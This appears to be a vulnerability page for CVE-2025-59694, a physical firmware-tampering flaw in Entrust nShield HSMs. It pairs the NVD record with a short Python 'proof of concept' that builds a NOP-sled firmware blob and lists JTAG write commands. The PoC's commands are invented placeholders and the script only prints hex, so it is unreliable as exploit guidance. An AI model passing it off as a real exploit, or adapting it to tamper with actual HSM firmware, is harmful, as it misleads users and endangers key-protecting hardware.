CVE-2025-59694

# 概念验证代码（仅供参考研究） # 警告：此代码仅用于安全研究，未经授权不得用于实际攻击 import struct import hashlib def generate_firmware_payload(): """生成恶意固件负载""" # 简化的固件头部结构 header = struct.pack('<I', 0xDEADBEEF) # 魔术字节 header += struct.pack('<I', 0x00010001) # 版本号 # 恶意payload（简化示例） malicious_code = b'\x90' * 100 + b'\xCC' # NOP sled + int3 # 计算校验和 checksum = hashlib.sha256(malicious_code).digest() return header + malicious_code + checksum def exploit_cmb_interface(): """利用CMB接口写入恶意固件""" payload = generate_firmware_payload() # JTAG通信协议（简化） jtag_commands = [ b'\xFF\xFF\xFF\xFF', # 进入调试模式 b'\x00\x00\x00\x00', # 清除状态 b'\x01' + payload, # 写入固件 b'\x02' # 验证写入 ] return jtag_commands if __name__ == '__main__': print("CVE-2025-59694 PoC - 仅供研究") commands = exploit_cmb_interface() for i, cmd in enumerate(commands): print(f"Step {i+1}: {cmd.hex()}")

{"cve": {"id": "CVE-2025-59694", "sourceIdentifier": "[email protected]", "published": "2025-12-02T15:15:54.883", "lastModified": "2025-12-15T13:39:22.617", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Chassis Management Board in Entrust nShield Connect XC, nShield 5c, and nShield HSMi through 13.6.11, or 13.7, allows a physically proximate attacker to persistently modify firmware and influence the (insecurely configured) appliance boot process. To exploit this, the attacker must modify the firmware via JTAG or perform an upgrade to the chassis management board firmware. This is called F03."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1274"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:entrust:nshield_5c_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "13.6.12", "matchCriteriaId": "CFB3D135-8EAC-4053-BB94-18D5BBB24AE7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:entrust:nshield_5c_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.7.3", "versionEndExcluding": "13.9.0", "matchCriteriaId": "A225C602-A46C-43A1-B6ED-D85CE086FB13"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:entrust:nshield_5c:-:*:*:*:*:*:*:*", "matchCriteriaId": "2BB0F3F8-F5DE-41CB-B804-BBFB78C6ADEB"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:entrust:nshield_hsmi_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "13.6.12", "matchCriteriaId": "ED3AEBBD-7F75-47F1-8EEA-342BAC9D265E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:entrust:nshield_hsmi_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.7.3", "versionEndExcluding": "13.9.0", "matchCriteriaId": "8CA1F545-ADAE-41BF-946A-CEAD5A751BB7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:entrust:nshield_hsmi:-:*:*:*:*:*:*:*", "matchCriteriaId": "F7665EE9-9F7F-456F-B172-ED188DD3BAD4"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:entrust:nshield_connect_xc_base_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "13.6.12", "matchCriteriaId": "F73858FD-5FE6-4AFA-84F2-E19743E9D900"}, {"vulnerable": true, "criteria": "cpe:2.3:o:entrust:nshield_connect_xc_base_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.7.3", "versionEndExcluding": "13.9.0", "matchCriteriaId": "65C6EC9C-C33D-4C37-ACD3-4B78D6291000"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:entrust:nshield_connect_xc_base:-:*:*:*:*:*:*:*", "matchCriteriaId": "18FCA0E9-EEA9-40EC-9E0F-942F049D2354"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:entrust:nshield_connect_xc_mid_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "13.6.12", "matchCriteriaId": "5A54F973-25D8-468D-B6A4-240A95D94A0B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:entrust:nshield_connect_xc_mid_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.7.3", "versionEndExcluding": "13.9.0", "matchCriteriaId": "125D948A-49AA-4385-8519-081F0787417E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:entrust:nshield_connect_xc_mid:-:*:*:*:*:*:*:*", "matchCriteriaId": "CB0ACAD9-BBCE-43CC-BD84-2023885725EE"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:entrust:nshield_connect_xc_high_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "13.6.12", "matchCriteriaId": "CBC11D8B-D72E-4CE9-AE61-AEA85F122F22"}, {"vulnerable": true, "criteria": "cpe:2.3:o:entrust:nshield_connect_xc_high_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.7.3", "versionEndExcluding": "13.9.0", "matchCriteriaId": "7779DADF-6D63-4326-981F-BA10860BBDD9"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:entrust:nshield_connect_xc_high:-:*:*:*:*:*:*:*", "matchCriteriaId": "3F0EDB1F-932B-4EC5-9D09-03CAD98BC2FA"}]}]}], "references": [{"url": "https://github.com/google/security-research/security/advisories/GHSA-6q4x-m86j-gfwj", "source": "[email protected]", "tags": ["Exploit", "Third Party ... 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